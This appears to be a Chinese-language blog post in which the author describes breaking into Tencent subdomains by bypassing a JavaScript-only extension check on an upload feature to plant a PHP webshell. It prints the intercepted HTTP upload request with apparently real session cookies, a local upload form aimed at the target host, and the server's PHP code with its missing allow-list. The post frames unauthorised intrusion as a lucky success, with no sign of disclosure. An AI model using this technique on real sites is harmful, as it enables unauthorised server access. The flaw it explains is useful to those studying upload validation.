說說騰訊分站被黑的過程

最近騰訊分站被“黑”的消息有蠻人多關注的,某帶頭大哥就叫我寫了篇貼子說說相關的過程是怎樣的,進入正題!
                 
      大家都想像得到要黑騰訊這類大站找個明顯的漏洞(包括注入)是很難的了,就算注入出密碼肯定也加密了,解開了都不一定能找到後臺拿shell,必境人家也是有相關的安全部門維護着!上傳?除了後臺哪裏還有?我通過google搜,到處轉了轉看到騰訊某分站搞了個類似在線做動畫的服務,當然前提是要登陸了才行,其中有個功能就是上傳你的作品!這個地方能用?不限制上傳類型?不試怎麼知道!直接上php後綴的馬不行,它是用js來控制的,只有jpg,bmp,gif後綴才能顯視且纔會開始上傳。還有什麼辦法沒?那就試試抓包再改後綴嘍!內容如下:
     
POST /games/412/upload.php HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------Ij5Ij5gL6ae0Ef1cH2ei4ae0GI3GI3
User-Agent: Shockwave Flash
Host: xxx.qq.com
Content-Length: 69591       //注意修改後的字數
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: pgv_info=ssid=s1553263453&SPATHTAG=vip.qq.com/|NONE_REF; actwebinfo=1; qqactwebinfo=1; verifysession=7348bade52bad59bd71f3e368fb90efe261cd975f2632c49f622f5e7c95deb1fb0135e2f626632e0; uin=o0032182106; skey=@FXSiKBprF; qv_swfrfh=**********省略n多無關內容!
------------Ij5Ij5gL6ae0Ef1cH2ei4ae0GI3GI3
Content-Disposition: form-data; name="Filedata"; filename="php.php.jpg" //我們去掉.jpg試試
Content-Type: application/octet-stream
.............................................//省略無關內容
結果成功得到php後綴的shell地址,今天人品真不錯,這樣的漏洞都讓我遇到,但是我有注意到域名和上傳的頁面並不一樣,是yyy.qq.com的,進去後發現原來它跟目錄下也有個上傳文件upload.php,就拖了些相關文件和目錄下來分析分析並寫了個本地上傳方便一些:
<form name="upload_form" action="http://yyy.qq.com/upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="upfrom" value="flash" />
請選擇文件:
<input name="Filedata" type="file" />
<input type="submit" value="go" />
</form>
下面我們來看看yyy.qq.com/upload.php這個文件
............//省略無關代碼
$file_id = md5($_FILES["Filedata"]["tmp_name"] + rand()*100000);
$file_ext = get_file_ext($_FILES["Filedata"]["name"],$allow_ext);     //注意
$filename = $upload_dir.'/'.$fileFolder.'/'.$file_id.'.'.$file_ext;
...........//
elseif($upfrom == 'flash'){
        if(!$file_ext){
                header("HTTP/1.1 500 Internal Server Error");
                echo "bbb";
                exit(0);
        }
        if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
                header("HTTP/1.1 500 Internal Server Error");
                echo "qqq";
                exit(0);
        }
        if(!move_uploaded_file($_FILES["Filedata"]["tmp_name"],$filename)){
                header("HTTP/1.1 500 Internal Server Error");
                echo "ccc";
                exit(0);
        }
............//上面代碼用了get_file_ext()我接再跟下去看看;
function get_file_ext($filename,$exts = ''){
        if(!$file_ext = strrchr($filename,'.')){
                return false;
        }
        $file_ext = substr(strtolower($file_ext),1);
        if($exts){
                $arr = explode('|',$exts);
                if(!in_array($file_ext,$arr)){
                        return false;
                }
        }
        return $file_ext;
}
可以看到此函數有叛斷後綴是否爲$exts裏所允許的,但我發現代碼裏並沒有定義$exts變量,也就是爲空,所以跳過檢查了,直接返回上傳時的文件後綴!
   後來皇子牛跟我說他發現xxx.qq.com提供的服務裏還能上傳頭像也能通過上面的方法拿shell,地址就是xxx.qq.com/xxx.php,真沒想到一時之間還兩個分站有問題,我覺得到這裏基本可以確定兩分站的漏洞原因都是如上所說.
   事後發現上傳shell後沒過多久就不見了,就懷凝是不是被發現了,跟皇子牛交流下後認爲負載的可能性大些.
   費話了這麼久主要原因還是我們的運氣好,不然分站也不是這麼容易就可拿shell的:)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章